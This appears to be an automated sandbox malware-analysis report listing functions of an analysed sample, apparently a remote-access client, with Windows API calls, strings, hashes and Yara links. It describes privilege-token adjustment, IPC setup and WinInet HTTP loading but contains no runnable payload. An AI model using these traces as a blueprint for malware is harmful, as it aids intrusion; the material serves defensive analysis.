Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00C912F2,CA1DECC3,0000044C,00000000,00000000,?,?,00C9144C,00000022,FlsSetValue,00C9B244,00C9B24C,00000000), ref: 00C912A4

Strings

ext-ms-, xrefs: 00C9124E
api-ms-, xrefs: 00C9123A

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: df24293b1cd3a30d3912aaeac04c3f05f2bec86c48fc10397cc2c4090aa30abe
Instruction ID: c0278719875413571ad540086e713df8400f7ac35441684eff8edaa7b1cc1e23
Opcode Fuzzy Hash: df24293b1cd3a30d3912aaeac04c3f05f2bec86c48fc10397cc2c4090aa30abe
Instruction Fuzzy Hash: B121F371A01612ABDF21AB69DC4EB5E7768EB12760F280115EC22E72D0D730EE01C6E0

Function 00C88984 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00C8897B,00C884E3,00C87A61), ref: 00C88992
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00C889A0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00C889B9
SetLastError.KERNEL32(00000000,00C8897B,00C884E3,00C87A61), ref: 00C88A0B

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 790ded7fd4b0881d6afd9fbf453da464caf5df6080562558215d4fa14723f256
Instruction ID: 28c838be84f1fa6d9bc2d1fe6c2e8c01606370285a63532368603bbda6c27cb8
Opcode Fuzzy Hash: 790ded7fd4b0881d6afd9fbf453da464caf5df6080562558215d4fa14723f256
Instruction Fuzzy Hash: 7B01D8321183219EE62436B97C85BBE2B45FB0277C760022AF121464E1EF625C04A35D

Function 00C8D007 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,CA1DECC3,?,?,00000000,00C9861B,000000FF,?,00C8CFE3,00C8D0C7,?,00C8CFB7,00000000), ref: 00C8D03C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00C8D04E
FreeLibrary.KERNEL32(00000000,?,?,00000000,00C9861B,000000FF,?,00C8CFE3,00C8D0C7,?,00C8CFB7,00000000), ref: 00C8D070

Strings

mscoree.dll, xrefs: 00C8D035
CorExitProcess, xrefs: 00C8D046

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d29de6d4811026d3799a4632144adfc7abd214bf726b6f9563bcd85054a44e7a
Instruction ID: 6d07f39614a871692559501f0af62350196a81ee3afd04b1f0adc4ddfe621973
Opcode Fuzzy Hash: d29de6d4811026d3799a4632144adfc7abd214bf726b6f9563bcd85054a44e7a
Instruction Fuzzy Hash: DD01A271904615AFDB219F58DC0DBAEBBB8FB49B14F00452AF822A26D0DB759A00CB90

Function 00C945D0 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00C94655
__alloca_probe_16.LIBCMT ref: 00C9471E
__freea.LIBCMT ref: 00C94785

Part of subcall function 00C8DC7F: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,?,00C8718C,00000000,?,00C86E07,0000044C,CA1DECC3,771AF380,00000000,00000000,000000FF,?,00C814D5), ref: 00C8DCB1

__freea.LIBCMT ref: 00C94798
__freea.LIBCMT ref: 00C947A5

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: eafc3c34dc5cb12c941012dec559221683e18d52709cfb88a0c7cf219c36b3df
Instruction ID: 0626c4700beb15d422e5c5fc5c79f8323a2976dfb574370cfea13d806fced37f
Opcode Fuzzy Hash: eafc3c34dc5cb12c941012dec559221683e18d52709cfb88a0c7cf219c36b3df
Instruction Fuzzy Hash: C451D57260020AAFEF285FA5CC89EBB7BA9EF86714F150129FD14D7251EB30DD12D660

Function 00C89AA2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00C89A53,00000000,?,00CA2CE0,?,?,?,00C89BF6,00000004,InitializeCriticalSectionEx,00C99D38,InitializeCriticalSectionEx), ref: 00C89AAF
GetLastError.KERNEL32(?,00C89A53,00000000,?,00CA2CE0,?,?,?,00C89BF6,00000004,InitializeCriticalSectionEx,00C99D38,InitializeCriticalSectionEx,00000000,?,00C899AD), ref: 00C89AB9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00C89AE1

Strings

api-ms-, xrefs: 00C89AC6

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 4ad589ac57cd1baf47741338c88147d93c1a611783659a68a71461c8bfde2a03
Instruction ID: 876bfff1caba7d58f9f2d0457664dfeb74b12a75e33221fddde78a829ed722c4
Opcode Fuzzy Hash: 4ad589ac57cd1baf47741338c88147d93c1a611783659a68a71461c8bfde2a03
Instruction Fuzzy Hash: B4E04830280305B7EF202BA5DC0EB6D3F64EB40B54F144025F90CA40E1D772DA119788

Function 00C94A9D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(CA1DECC3,00000000,00000000,?), ref: 00C94B00

Part of subcall function 00C90654: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00C9477B,?,00000000,-00000008), ref: 00C906B5

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00C94D52
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00C94D98
GetLastError.KERNEL32 ref: 00C94E3B

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 5bf2617c1564edb28a1ccbfe5ea5abfddef351f6b1d0bdb16820d83a6ffbd1c9
Instruction ID: fcdcf28c279a1ffde0380c7807f97471a8757297e5b051e978f44363d1d79548
Opcode Fuzzy Hash: 5bf2617c1564edb28a1ccbfe5ea5abfddef351f6b1d0bdb16820d83a6ffbd1c9
Instruction Fuzzy Hash: 30D17C75D002589FCF19CFA8D884AADFBB5FF09314F28456AE526EB351D730AA42CB50

Function 00C88A64 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00C88B2B
___AdjustPointer.LIBCMT ref: 00C88B4E
___AdjustPointer.LIBCMT ref: 00C88BEA

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9e64acd58e1094d3a4db8520bc6b237477e1daf1c8d5b1c8935325b8f3a1a7a8
Instruction ID: 115e29ba8f22341224303c14c2be7287a3430ae991a1ae997694790bc7272363
Opcode Fuzzy Hash: 9e64acd58e1094d3a4db8520bc6b237477e1daf1c8d5b1c8935325b8f3a1a7a8
Instruction Fuzzy Hash: 94510BB26013029FDB28BF14CC51BBA77A4EF80718F54412DE91257991EF31ED48D798

Function 00C824B0 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 00C824CC
OpenProcessToken.ADVAPI32(00000000), ref: 00C824D3
GetTokenInformation.ADVAPI32(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00C824F3
CloseHandle.KERNEL32(?), ref: 00C82502

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 9208ebbed50056fd54bf5e979cd459130708abd18264e9f3aa24a33578427651
Instruction ID: 1c181df58686ab2065d73802faf2d639f34670ed36844e8c19fb4d0a5f0412fd
Opcode Fuzzy Hash: 9208ebbed50056fd54bf5e979cd459130708abd18264e9f3aa24a33578427651
Instruction Fuzzy Hash: C301EC71A0021CABDB10EFA4DC0DBBEBBB8FF09705F404559EA21E7150DB309A14DB95

Function 00C971B6 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00C96320,00000000,00000001,?,?,?,00C94E8F,?,00000000,00000000), ref: 00C971CD
GetLastError.KERNEL32(?,00C96320,00000000,00000001,?,?,?,00C94E8F,?,00000000,00000000,?,?,?,00C95432,00000000), ref: 00C971D9

Part of subcall function 00C9719F: CloseHandle.KERNEL32(FFFFFFFE,00C971E9,?,00C96320,00000000,00000001,?,?,?,00C94E8F,?,00000000,00000000,?,?), ref: 00C971AF

___initconout.LIBCMT ref: 00C971E9

Part of subcall function 00C97161: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00C97190,00C9630D,?,?,00C94E8F,?,00000000,00000000,?), ref: 00C97174

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,00C96320,00000000,00000001,?,?,?,00C94E8F,?,00000000,00000000,?), ref: 00C971FE

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 44e870ea42d40f63d5b2c0662265e7f086293656f33ff6948c461e411a3ba269
Instruction ID: 4d73fd070c3d982694fb2bb88e4fc83dc5637ec09b0b840331e428c2b14c737f
Opcode Fuzzy Hash: 44e870ea42d40f63d5b2c0662265e7f086293656f33ff6948c461e411a3ba269
Instruction Fuzzy Hash: 81F0A236515628FFCF222F99EC0CB9D3F65FB09361F054115F92895130C6328920EB91

Function 00C89060 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00C89085

Strings

RCC, xrefs: 00C8909F
MOC, xrefs: 00C89097

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 48b9df5f4ca20864c6115093593e7216079cde6a42b2eb1c6e2eedc5cd02470c
Instruction ID: b4e0a18ba803f20dc25458df51a11f1afb17bc1a1f23c4d95d13cb5c0adf3f10
Opcode Fuzzy Hash: 48b9df5f4ca20864c6115093593e7216079cde6a42b2eb1c6e2eedc5cd02470c
Instruction Fuzzy Hash: CF41AB3190020AAFCF16EF98CC89AEEBBB1FF48308F188199F91577215D335AA51DB55

Analysis Process: client32.exePID: 7384, Parent PID: 4504COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	118

Executed Functions

Function 110964D0 Relevance: 100.3, APIs: 42, Strings: 15, Instructions: 501
filethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 11095790: GetCurrentProcess.KERNEL32(000F01FF,?,1102E62B,00000000,00000000,00080000,82E0FB89,00080000,00000000,00000000), ref: 110957BD
Part of subcall function 11095790: OpenProcessToken.ADVAPI32(00000000), ref: 110957C4
Part of subcall function 11095790: LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 110957D5
Part of subcall function 11095790: AdjustTokenPrivileges.KERNELBASE(00000000), ref: 110957F9

LocalAlloc.KERNEL32(00000040,00000014,SeSecurityPrivilege,?,00080000,82E0FB89,00080000,00000000,00000000), ref: 11096565
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 1109657E
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 11096589
GetVersionExA.KERNEL32(?), ref: 110965A0
GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109660E
SetSecurityDescriptorSacl.ADVAPI32(00000000,00000001,?,00000000), ref: 11096623
FreeLibrary.KERNEL32(00000001,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 11096634
CreateFileMappingA.KERNEL32(000000FF,1102E62B,00000004,00000000,?,?), ref: 11096670
GetLastError.KERNEL32 ref: 1109667D
LocalFree.KERNEL32(?), ref: 110966A6
LocalFree.KERNEL32(?), ref: 110966B3
GetLastError.KERNEL32 ref: 110966D0
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00000000), ref: 110966EE
LocalFree.KERNEL32(?), ref: 11096719
LocalFree.KERNEL32(?), ref: 11096726

Part of subcall function 11095700: LoadLibraryA.KERNEL32(Advapi32.dll,00000000,110965BE), ref: 11095708

Part of subcall function 11095740: GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 11095754

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11096752
LocalFree.KERNEL32(?), ref: 1109681B
LocalFree.KERNEL32(?), ref: 11096828
_memset.LIBCMT ref: 11096840
GetTickCount.KERNEL32 ref: 11096848
GetCurrentProcessId.KERNEL32 ref: 110968F4
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109690F
CreateEventA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?), ref: 1109695B
GetLastError.KERNEL32 ref: 11096964
GetLastError.KERNEL32(00000000), ref: 1109696B
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 110969A0
GetLastError.KERNEL32 ref: 110969A9
GetLastError.KERNEL32(00000000), ref: 110969B0
CreateEventA.KERNEL32(?,00000001,00000000,?), ref: 110969E6
GetLastError.KERNEL32 ref: 110969EF
GetLastError.KERNEL32(00000000), ref: 110969F6
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 11096A2B
GetLastError.KERNEL32 ref: 11096A3A
GetLastError.KERNEL32(00000000), ref: 11096A3D
LocalFree.KERNEL32(?), ref: 11096A65
LocalFree.KERNEL32(?), ref: 11096A72
GetCurrentThreadId.KERNEL32 ref: 11096AA3
CreateThread.KERNEL32(00000000,00002000,Function_00096070,00000000,00000000,00000030), ref: 11096ABD
ResetEvent.KERNEL32(?), ref: 11096AEC
ResetEvent.KERNEL32(?), ref: 11096AF2
ResetEvent.KERNEL32(?), ref: 11096AF8
SetEvent.KERNEL32(?), ref: 11096AFE

Strings

Error cant map view, xrefs: 110966FB
cant map, xrefs: 11096728
Info - reusing existing filemap, xrefs: 110967B9
cant create thread, xrefs: 11096ACA
S:(ML;;NW;;;LW), xrefs: 110965C8
map exists, xrefs: 1109682A
Error cant create events, xrefs: 11096B27
warning map exists, xrefs: 110967D0
cant create filemap, xrefs: 110966B5
Error filemap exists, xrefs: 110967FD
Error creating filemap (%d), xrefs: 11096684
cant create events, xrefs: 11096B34
Cant create event %s, e=%d (x%x), xrefs: 11096979, 110969BE, 11096A04, 11096A47
IPC(%s) created, xrefs: 11096B08
SeSecurityPrivilege, xrefs: 1109653A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$FreeLocal$Event$Create$DescriptorFileSecurity$CurrentProcessReset$LibraryModuleNameSaclThreadToken$AddressAdjustAllocCountDaclInitializeLoadLookupMappingOpenPrivilegePrivilegesProcTickValueVersionView_memset
String ID: Cant create event %s, e=%d (x%x)$Error cant create events$Error cant map view$Error creating filemap (%d)$Error filemap exists$IPC(%s) created$Info - reusing existing filemap$S:(ML;;NW;;;LW)$SeSecurityPrivilege$cant create events$cant create filemap$cant create thread$cant map$map exists$warning map exists
API String ID: 3291243470-2792520954
Opcode ID: f773c3081aeaebb21c1be5ebe8f63fcd40c310f00c8f4f33c420054a7f1d20a5
Instruction ID: 81383098c44230803e0ca2a3017f0c468739c05f63c930fd52011b603addab5e
Opcode Fuzzy Hash: f773c3081aeaebb21c1be5ebe8f63fcd40c310f00c8f4f33c420054a7f1d20a5
Instruction Fuzzy Hash: 55127FB5E0021D9FDB24DF61CCD4EAEB7F9FB88304F0445A9E51A97240EA71A984CF61

Function 110280F0 Relevance: 88.0, APIs: 38, Strings: 12, Instructions: 534
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(WinInet.dll,82E0FB89,771B23A0,?,00000000), ref: 11028125
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 110281BF
SetLastError.KERNEL32(00000078), ref: 110281D3
_malloc.LIBCMT ref: 110281F7
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11028211
GetLastError.KERNEL32 ref: 11028232
_free.LIBCMT ref: 1102823E
_malloc.LIBCMT ref: 11028247
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11028261
GetProcAddress.KERNEL32(?,InternetOpenA), ref: 1102829B
InternetOpenA.WININET(11182200,?,?,000000FF,00000000), ref: 110282BA
SetLastError.KERNEL32(00000078), ref: 110282C4
SetLastError.KERNEL32(00000078), ref: 110282D1
SetLastError.KERNEL32(00000078), ref: 110282DB
_free.LIBCMT ref: 110282E5

Part of subcall function 11151665: HeapFree.KERNEL32(00000000,00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115167B
Part of subcall function 11151665: GetLastError.KERNEL32(00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115168D

GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11028365
SetLastError.KERNEL32(00000078), ref: 1102837E
GetProcAddress.KERNEL32(?,InternetConnectA), ref: 11028391
InternetConnectA.WININET(000000FF,11187458,00000050,00000000,00000000,00000003,00000000,00000000), ref: 110283AE
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 110283CA
SetLastError.KERNEL32(00000078), ref: 110283E3
GetProcAddress.KERNEL32(?,HttpOpenRequestA), ref: 11028409
GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 1102845D
GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 110285C3
SetLastError.KERNEL32(00000078), ref: 11028690
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 110286E2
SetLastError.KERNEL32(00000078), ref: 110286F9
FreeLibrary.KERNEL32(?), ref: 1102870A

Strings

://, xrefs: 11028305
InternetErrorDlg, xrefs: 11028500
HttpOpenRequestA, xrefs: 11028403
InternetQueryOptionA, xrefs: 1102820B, 1102825B
HttpQueryInfoA, xrefs: 110284A3
InternetQueryDataAvailable, xrefs: 110285BD
GET, xrefs: 11028429
InternetCloseHandle, xrefs: 110281B9, 1102835F, 110283C4, 110286DC
HttpSendRequestA, xrefs: 11028457
InternetConnectA, xrefs: 1102838B
InternetOpenA, xrefs: 11028295
WinInet.dll, xrefs: 1102811D

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$FreeInternetLibrary_free_malloc$ConnectHeapLoadOpen
String ID: ://$GET$HttpOpenRequestA$HttpQueryInfoA$HttpSendRequestA$InternetCloseHandle$InternetConnectA$InternetErrorDlg$InternetOpenA$InternetQueryDataAvailable$InternetQueryOptionA$WinInet.dll
API String ID: 921868004-913974648
Opcode ID: 38a177254a395bd81f3ba5e7078fbe7383a886fa9f6ba65ffc089b6185ad6f7b
Instruction ID: 1ba2d1776f027d8e66b5c2b51482412bc640081c7f076ce1c4d8da5fffc402e2
Opcode Fuzzy Hash: 38a177254a395bd81f3ba5e7078fbe7383a886fa9f6ba65ffc089b6185ad6f7b
Instruction Fuzzy Hash: AD1280B9D406299FDB12CFA5CC88A9EFBF4EF89304F64855AF416B7244DB705A40CB60

Function 6C815690 Relevance: 82.6, APIs: 19, Strings: 28, Instructions: 352
threadlibrarynetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C802A90: GetModuleFileNameA.KERNEL32(00000000,?,00000100), ref: 6C802ACB
Part of subcall function 6C802A90: _strrchr.LIBCMT ref: 6C802ADA
Part of subcall function 6C802A90: _strrchr.LIBCMT ref: 6C802AEA
Part of subcall function 6C802A90: wsprintfA.USER32 ref: 6C802B05

Part of subcall function 6C81C240: _malloc.LIBCMT ref: 6C81C259
Part of subcall function 6C81C240: wsprintfA.USER32 ref: 6C81C274
Part of subcall function 6C81C240: _memset.LIBCMT ref: 6C81C297

LoadLibraryA.KERNEL32(WinInet.dll), ref: 6C8156B7
InitializeCriticalSection.KERNEL32(6C849898), ref: 6C81573F
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C81574F
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C815775
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C81579B
